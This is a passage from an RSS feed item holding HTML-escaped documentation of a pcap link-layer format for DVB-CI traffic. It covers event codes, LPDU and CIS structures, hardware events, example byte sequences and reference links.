class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFC&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;Host writes the configuration option register (COR)&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;HW_EVT&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0xFB&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;hardware event&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&#34;ulist&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;len&lt;/em&gt; is the length of the bytes following the pseudo header. It’s stored innetwork byte order (big endian).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect2&#34;&gt;&lt;h3 id=&#34;_data&#34;&gt;data&lt;/h3&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The data following the dvbci_header depend on &lt;em&gt;dvbci_header.event&lt;/em&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;sect3&#34;&gt;&lt;h4 id=&#34;_data_host_to_cam_or_data_cam_to_host&#34;&gt;&lt;em&gt;DATA_HOST_TO_CAM&lt;/em&gt; or &lt;em&gt;DATA_CAM_TO_HOST&lt;/em&gt;&lt;/h4&gt;&lt;div class=&#34;sect4&#34;&gt;&lt;h5 id=&#34;_if_dvbci_header_len_2&#34;&gt;if dvbci_header.len == 2&lt;/h5&gt;&lt;table class=&#34;tableblock frame-all grid-all&#34; style=&#34;width: 30%;&#34;&gt;&lt;colgroup&gt;&lt;col style=&#34;width: 100%;&#34;/&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;2 bytes &lt;em&gt;buffer size&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The buffer size protocol is defined in the DVB-CI specification,annex A.2.2.1.1. It is used for negotiating the maximum size ofsubsequent link layer messages (LPDUs). The CI module proposes a size,the host compares the proposal with its maximum supported size andsends back the highest value supported by both ends.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect4&#34;&gt;&lt;h5 id=&#34;_if_dvbci_header_len_3&#34;&gt;if dvbci_header.len &amp;gt;= 3&lt;/h5&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;a DVB-CI LPDU as defined in the DVB-CI specification, figure A.3, page 62&lt;/p&gt;&lt;/div&gt;&lt;table class=&#34;tableblock frame-all grid-all stretch&#34;&gt;&lt;colgroup&gt;&lt;col style=&#34;width: 33.3333%;&#34;/&gt;&lt;col style=&#34;width: 33.3333%;&#34;/&gt;&lt;col style=&#34;width: 33.3334%;&#34;/&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;1 bytes &lt;em&gt;transport connection id&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;1 byte &lt;em&gt;more/last&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;&lt;em&gt;TPDU fragment&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;&lt;em&gt;transport connection id&lt;/em&gt; is a value &amp;gt; 0. The &lt;em&gt;more/last&lt;/em&gt; byte is 0x00if the LPDU is the last fragment or 0x80 if more fragments follow. Theremainder of the LPDU is filled with a fragment of a transport layermessage (TPDU), this part shall not be empty.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;(The size of an LPDU is defined during the data transfer by writing to asize register, therefore it contains no length field.)&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect3&#34;&gt;&lt;h4 id=&#34;_cis_read&#34;&gt;&lt;em&gt;CIS_READ&lt;/em&gt;&lt;/h4&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The Card Information Structure (CIS) of the CI module. The CIS isdefined in volume 4 (metaformat) of the PC-Card specification. A CISconsists of tuples using the following format, the last tuple has&lt;em&gt;tuple code&lt;/em&gt; 0xff and no length and body.&lt;/p&gt;&lt;/div&gt;&lt;table class=&#34;tableblock frame-all grid-all stretch&#34;&gt;&lt;colgroup&gt;&lt;col style=&#34;width: 33.3333%;&#34;/&gt;&lt;col style=&#34;width: 33.3333%;&#34;/&gt;&lt;col style=&#34;width: 33.3334%;&#34;/&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;1 byte &lt;em&gt;tuple code&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;1 byte &lt;em&gt;length field&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;&lt;em&gt;length field&lt;/em&gt; bytes &lt;em&gt;tuple body&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The CIS must start at the beginning of the data buffer. The data buffermust include the complete CIS. If a capture tool can’t determine thelength of the CIS, the capture may include random data after the end ofthis CIS.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect3&#34;&gt;&lt;h4 id=&#34;_cor_write&#34;&gt;&lt;em&gt;COR_WRITE&lt;/em&gt;&lt;/h4&gt;&lt;table class=&#34;tableblock frame-all grid-all&#34; style=&#34;width: 60%;&#34;&gt;&lt;colgroup&gt;&lt;col style=&#34;width: 50%;&#34;/&gt;&lt;col style=&#34;width: 50%;&#34;/&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;2 bytes &lt;em&gt;COR address&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;1 byte &lt;em&gt;COR value&lt;/em&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The address of the Configuration Option Register (COR) is in network byteorder. According to the DVB-CI specification annex A 5.6, 5, the COR addressshall not be greater than 0xFFE. If a capture tool doesn’t log the CORaddress, it may set the address bytes to 0xFF 0xFF instead.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect3&#34;&gt;&lt;h4 id=&#34;_hw_evt&#34;&gt;&lt;em&gt;HW_EVT&lt;/em&gt;&lt;/h4&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;8 bit for the event type according to the following table&lt;/p&gt;&lt;/div&gt;&lt;table class=&#34;tableblock frame-all grid-all stretch&#34;&gt;&lt;colgroup&gt;&lt;col style=&#34;width: 35%;&#34;/&gt;&lt;col style=&#34;width: 10%;&#34;/&gt;&lt;col style=&#34;width: 55%;&#34;/&gt;&lt;/colgroup&gt;&lt;thead&gt;&lt;tr&gt;&lt;th class=&#34;tableblock halign-left valign-top&#34;&gt;event name&lt;/th&gt;&lt;th class=&#34;tableblock halign-center valign-top&#34;&gt;value&lt;/th&gt;&lt;th class=&#34;tableblock halign-left valign-top&#34;&gt;description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;CAM_IN&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x01&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;CI Module is inserted into the slot&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;CAM_OUT&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x02&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;CI Module is removed from the slot&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;POWER_ON&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x03&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;CI Module is powered on&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;POWER_OFF&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x04&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;CI Module is powered off&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;TS_ROUTE&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x05&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;DVB Transport Stream is routed through the CI Module&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;TS_BYPASS&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x06&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;DVB Transport Stream bypasses the CI Module&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;RESET_H&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x07&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;Reset Pin goes into High state&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;RESET_L&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x08&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;Reset Pin goes into Low state&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;READY_H&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x09&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;Ready/IRQ# Pin goes into High state&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;READY_L&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-center valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;0x0A&lt;/p&gt;&lt;/td&gt;&lt;td class=&#34;tableblock halign-left valign-top&#34;&gt;&lt;p class=&#34;tableblock&#34;&gt;Ready/IRQ# Pin goes into Low state&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The events for the Reset and Ready/IRQ# pins reflect the actual voltagelevel on the line.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_examples&#34;&gt;Examples&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;This is the Packet Data when the CI Module is removed from the slot&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;0x00 0xFB 0x00 0x01 0x02&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;The host sends data to the CI Module. The data part in this example containsan LPDU that is 5 bytes long.&lt;/p&gt;&lt;/div&gt;&lt;div class=&#34;listingblock&#34;&gt;&lt;div class=&#34;content&#34;&gt;&lt;pre&gt;0x00 0xFE 0x00 0x05 0x01 0x00 0xa0 0x01 0x01&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_links&#34;&gt;Links&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;ulist&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://wiki.wireshark.org/Development/LibpcapFileFormat&#34;&gt;libpcap file format&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/pcapng/pcapng&#34;&gt;pcapng draft specification&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.tcpdump.org/linktypes.html&#34;&gt;list of link-layer header types&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;http://www.wireshark.org&#34;&gt;Wireshark homepage&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/mcr/libpcap/commit/dcd09c5fccbf10bfc308c04bb49baba61746e579&#34;&gt;libpcap commit where the DLT was assigned&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://dvb.org/wp-content/uploads/2020/02/En50221.V1.pdf&#34;&gt;DVB-CI specification (EN50221)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;sect1&#34;&gt;&lt;h2 id=&#34;_questions_comments&#34;&gt;Questions, comments&lt;/h2&gt;&lt;div class=&#34;sectionbody&#34;&gt;&lt;div class=&#34;paragraph&#34;&gt;&lt;p&gt;Please send any questions or comments to &amp;#39;www(at)kaiser(dot)cx&amp;#39;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
     </item>
   
 </channel>
</rss>
